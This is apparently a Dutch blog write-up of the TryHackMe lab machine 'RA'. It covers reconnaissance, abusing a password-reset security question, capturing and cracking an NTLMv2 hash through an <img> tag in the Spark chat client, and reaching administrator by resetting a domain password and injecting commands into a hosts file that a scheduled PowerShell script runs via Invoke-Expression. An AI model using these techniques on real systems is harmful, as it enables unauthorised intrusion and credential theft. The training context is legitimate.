RA ~ TryHackMe Machine

RA

Welkom in een nieuwe week en een nieuw artikel, vandaag ga ik beschrijven hoe ik de machine ‘RA’ heb opgelost, dit is een machine op TryHackMe en wordt als moeilijk geclassificeerd.

Verkenning

Zoals altijd starten we met een nmap scan. Zoals gewoonlijk start ik met de volgende commando:

nmap -v -sS -p- 10.10.109.61

zodra de poorten worden getoond die open staan run ik een uitgebreide scan op alleen de poorten die open zijn.

nmap -v -sV -sC -p [ports] 10.10.109.61

Uit de nmap scan kwam het volgende

Nmap scan report for 10.10.109.61
Host is up (0.035s latency).

PORT     STATE SERVICE        VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp   open  http           Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Windcorp.
88/tcp   open  kerberos-sec   Microsoft Windows Kerberos (server time: 2021-01-25 14:14:11Z)
135/tcp  open  msrpc          Microsoft Windows RPC
139/tcp  open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: windcorp.thm0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
2179/tcp open  vmrdp?
3268/tcp open  ldap           Microsoft Windows Active Directory LDAP (Domain: windcorp.thm0., Site: Default-First-Site-Name)
5222/tcp open  jabber
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     xmpp: 
|       version: 1.0
|     unknown: 
| 
|     stream_id: 3cwwfr7793
|     features: 
| 
|     capabilities: 
| 
|     auth_mechanisms: 
| 
|     compression_methods: 
| 
|     errors: 
|       invalid-namespace
|_      (timeout)
5223/tcp open  ssl/hpvirtgrp?
7070/tcp open  http           Jetty 9.4.18.v20190429
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Jetty(9.4.18.v20190429)
|_http-title: Openfire HTTP Binding Service
9090/tcp open  zeus-admin?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Mon, 25 Jan 2021 14:14:11 GMT
|     Last-Modified: Fri, 31 Jan 2020 17:54:10 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 115
|     <html>
|     <head><title></title>
|     <meta http-equiv="refresh" content="0;URL=index.jsp">
|     </head>
|     <body>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 25 Jan 2021 14:14:16 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   JavaRMI, drda, ibm-db2-das, informix: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   SqueezeCenter_CLI: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   WMSRequest: 
|     HTTP/1.1 400 Illegal character CNTL=0x1
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x1</pre>
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.80%I=7%D=1/25%Time=600ED238%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5222-TCP:V=7.80%I=7%D=1/25%Time=600ED247%P=x86_64-pc-linux-gnu%r(RP
SF:CCheck,9B,"<stream:error\x20xmlns:stream=\"http://etherx\.jabber\.org/s
SF:treams\"><not-well-formed\x20xmlns=\"urn:ietf:params:xml:ns:xmpp-stream
SF:s\"/></stream:error></stream:stream>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9090-TCP:V=7.80%I=7%D=1/25%Time=600ED233%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,11D,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2025\x20Jan\x202
SF:021\x2014:14:11\x20GMT\r\nLast-Modified:\x20Fri,\x2031\x20Jan\x202020\x
SF:2017:54:10\x20GMT\r\nContent-Type:\x20text/html\r\nAccept-Ranges:\x20by
SF:tes\r\nContent-Length:\x20115\r\n\r\n<html>\n<head><title></title>\n<me
SF:ta\x20http-equiv=\"refresh\"\x20content=\"0;URL=index\.jsp\">\n</head>\
SF:n<body>\n</body>\n</html>\n\n")%r(JavaRMI,C3,"HTTP/1\.1\x20400\x20Illeg
SF:al\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html;charset=iso-8
SF:859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\n<h1>Bad\x
SF:20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20CNTL=0x0</
SF:pre>")%r(WMSRequest,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNT
SF:L=0x1\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Lengt
SF:h:\x2069\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><
SF:pre>reason:\x20Illegal\x20character\x20CNTL=0x1</pre>")%r(ibm-db2-das,C
SF:3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x0\r\nContent-Type
SF::\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnectio
SF:n:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illega
SF:l\x20character\x20CNTL=0x0</pre>")%r(SqueezeCenter_CLI,9B,"HTTP/1\.1\x2
SF:0400\x20No\x20URI\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nC
SF:ontent-Length:\x2049\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\
SF:x20400</h1><pre>reason:\x20No\x20URI</pre>")%r(informix,C3,"HTTP/1\.1\x
SF:20400\x20Illegal\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html
SF:;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\
SF:n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character
SF:\x20CNTL=0x0</pre>")%r(drda,C3,"HTTP/1\.1\x20400\x20Illegal\x20characte
SF:r\x20CNTL=0x0\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nConte
SF:nt-Length:\x2069\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x204
SF:00</h1><pre>reason:\x20Illegal\x20character\x20CNTL=0x0</pre>")%r(HTTPO
SF:ptions,56,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2025\x20Jan\x202021
SF:\x2014:14:16\x20GMT\r\nAllow:\x20GET,HEAD,POST,OPTIONS\r\n\r\n");
Service Info: Host: FIRE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-01-25T14:16:28
|_  start_date: N/A

Volgende stap is om port 80 te controleren. Zodra we de website openen krijgen wij het volgende in beeld:

Zoals op de website te zien is, is er een ‘Reset Password’functionaliteit. Als hier op gedrukt word komt het volgende tevoorschijn:

Dit betekend dat aan het bestand ‘/etc/hosts’ het ip adress nog toegevoegd moet worden.

Zodra dit gedaan is en wederom naar de ‘Reset Password’ functionaliteit wordt gegaan komt het volgende in beeld:

We hebben een gebruikersnaam en een beveiligingsvraag, om hier antwoord op te kunnen geven moet er in de broncode worden gekeken. Dit omdat als je verder op de website kijkt je een foto van een werknemer met haar hond ziet, dit is de werknemer die wij moeten hebben.

Nu moeten wij met deze informatie terug naar de ‘Password Reset’ functionaliteit en de gevonden informatie invoeren.

Nadat wij de informatie hebben ingevoerd komt het volgende tevoorschijn:

Mooi!, we hebben nu een wachtwoord. De volgende stap is om de smb share te bekijken met behulp met de volgende commando:

smbclient -L 10.10.109.61 --user=lilyle

De ‘Shared’ folder ziet er interessant uit, de volgende stap is om te verbinden met de shared share:

smbclient //windcorp.thm/SHARED --user=lilyle

Hier bevindt zich de eerste vlag !

Ook beviund zich er een applicatie genaamd ‘Spark’, deze moet gedownload worden naar jouw eigen machine met behulp van de volgende commando:

mget *

Zodra het bestand is gedownload naar jouw eigen omgeving moet je de volgende commando uitvoeren om het te installeren:

sudo dpkg -i spark_2_8_3.deb

Nadat bovenstaande commando is uitgevoerd kan de applicatie worden gestart met de volgende commando:

spark

Zodra dit gebeurd is komt het volgende tevoorschijn:

Log hier in met de gevonden gebruikersgegevens van lilyle. Zodra dat gedaan is, ziet het scherm er als volgt uit:

De volgende stap is om een gesprek te beginnen met de gebruiker ‘Buse’ waarin je misbruik maakt van de <img> tags. Voordat je dit gaat uitvoeren is het belangrijk om responder te starten.

Nu responder is gestart kan de exploit worden uitgevoerd.

Zoals je ziet bestaat de exploit uit een enkele img tag met daarin jouw eigen IP, zodra je het bericht hebt verstuurd ontvang je in de responder tab een NTLMv2 hash. Deze kan vervolgens gekraakt worden met de volgende commando:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt/rockyou.txt

We kunnen nu als lage gebruiker inloggen op het systeem!

Privilege escalatie

Nadat de gegevens zijn gevonden kan er ingelogd worden op het systeem met de volgende commando:

evil-winrm -i 10.10.177.18 -u buse -p uzunLM+3131

vlag 2 kan gevonden worden op de Desktop van de buse gebruiker.

De volgende stap is om de volgende commando uit te voeren:

whoami /groups

Zoals te zien is, behoren wij tot de account operators en kunnen wij sommige accounts dus aanpassen en wachtwoord wijzigen. Daarnaast is er een script te vinden in ‘C:\scripts\’ genaamd ‘checkservers.ps1’. Dit script ziet er als volgt uit:

# reset the lists of hosts prior to looping
$OutageHosts = $Null
# specify the time you want email notifications resent for hosts that are down
$EmailTimeOut = 30
# specify the time you want to cycle through your host lists.
$SleepTimeOut = 45
# specify the maximum hosts that can be down before the script is aborted
$MaxOutageCount = 10
# specify who gets notified
$notificationto = "brittanycr@windcorp.thm"
# specify where the notifications come from
$notificationfrom = "admin@windcorp.thm"
# specify the SMTP server
$smtpserver = "relay.windcorp.thm"

# start looping here
Do{
$available = $Null
$notavailable = $Null
Write-Host (Get-Date)

# Read the File with the Hosts every cycle, this way to can add/remove hosts
# from the list without touching the script/scheduled task,
# also hash/comment (#) out any hosts that are going for maintenance or are down.
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
    $p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
    Invoke-Expression $p
if($p)
    {
     # if the Host is available then just write it to the screen
     write-host "Available host ---> "$_ -BackgroundColor Green -ForegroundColor White
     [Array]$available += $_
    }
else
    {
     # If the host is unavailable, give a warning to screen
     write-host "Unavailable host ------------> "$_ -BackgroundColor Magenta -ForegroundColor White
     $p = Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue
     if(!($p))
       {
        # If the host is still unavailable for 4 full pings, write error and send email
        write-host "Unavailable host ------------> "$_ -BackgroundColor Red -ForegroundColor White
        [Array]$notavailable += $_

        if ($OutageHosts -ne $Null)
            {
                if (!$OutageHosts.ContainsKey($_))
                {
                 # First time down add to the list and send email
                 Write-Host "$_ Is not in the OutageHosts list, first time down"
                 $OutageHosts.Add($_,(get-date))
                 $Now = Get-date
                 $Body = "$_ has not responded for 5 pings at $Now"
                 Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                  -Subject "Host $_ is down" -SmtpServer $smtpserver
                }
                else
                {
                    # If the host is in the list do nothing for 1 hour and then remove from the list.
                    Write-Host "$_ Is in the OutageHosts list"
                    if (((Get-Date) - $OutageHosts.Item($_)).TotalMinutes -gt $EmailTimeOut)
                    {$OutageHosts.Remove($_)}
                }
            }
        else
            {
                # First time down create the list and send email
                Write-Host "Adding $_ to OutageHosts."
                $OutageHosts = @{$_=(get-date)}
                $Body = "$_ has not responded for 5 pings at $Now"
                Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                 -Subject "Host $_ is down" -SmtpServer $smtpserver
            }
       }
    }
}
# Report to screen the details
$log = "Last run: $(Get-Date)"
write-host $log
Set-Content -Path C:\scripts\log.txt -Value $log
Write-Host "Available count:"$available.count
Write-Host "Not available count:"$notavailable.count
Write-Host "Not available hosts:"
$OutageHosts
Write-Host ""
Write-Host "Sleeping $SleepTimeOut seconds"
sleep $SleepTimeOut
if ($OutageHosts.Count -gt $MaxOutageCount)
{
    # If there are more than a certain number of host down in an hour abort the script.
    $Exit = $True
    $body = $OutageHosts | Out-String
    Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
     -Subject "More than $MaxOutageCount Hosts down, monitoring aborted" -SmtpServer $smtpServer
}
}
while ($Exit -ne $True)

Bovenaan het script staat de volgende regel:

get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |

Hieruit kunnen wij lezen dat er een bestand genaamd hostst.txt wordt uitgelezen, de eigenaar van dit bestand is brittanycr. Dus de volgende stap is om het wachtwoord van brittanycr aan te passen zodat wij vervolgens kunnen inloggen op deze gebruiker. Voer hiervoor de volgende commando uit:

net user brittanycr test123!@# /domain

Nadat het wachtwoord is aangepast van deze gebruiker kunnen wij toegang krijgen tot de gebruiker zijn smb share waar het bestand hosts.txt staat, deze kunnen wij aanpassen om vervolgens commando’s erin te zetten die vervolgens worden uitgevoerd.

smbclient //10.10.121.249/Users --user=brittanycr

Zodra wij ingelogd zijn moeten wij naar de brittanycr gebruiker gaan om het bestand te kunnen vinden.

Nu moeten wij dit bestand downloaden om het vervolgens te kunnen aanpassen, voer hiervoor de volgende commando uit:

mget hosts.txt

Zodra het bestand gedownload is naar jouw eigen machine moet het bestand worden aangepast naar het volgende:

Nu moet het bestand weer worden geupload naar de share, dus log opnieuw in op de share en ga naar de juiste plek en voer de volgende commando uit:

put [Location of hosts.txt] hosts.txt

Zodra dit gebeurd is rest ons nog maar 1 ding te doen namelijk wachten tot het bestand wordt uitgevoerd, want het script dat eerder gevonden is wordt om de zoveel minuten uitgevoerd. Dit betekend dat ons hosts.txt bestand om de zoveel minuten wordt uitgelezen.

Na een minuut kan de volgende commando worden uitgevoerd:

Zoals je ziet zijn we ingelogd als viserion en behoren wij ook tot de administrators groep dus de laatste stap is om vlag nummer drie te pakken en in te leveren !

Bedankt voor het lezen en hopelijk tot volgende week !

Please share and spread
NederlandsEnglish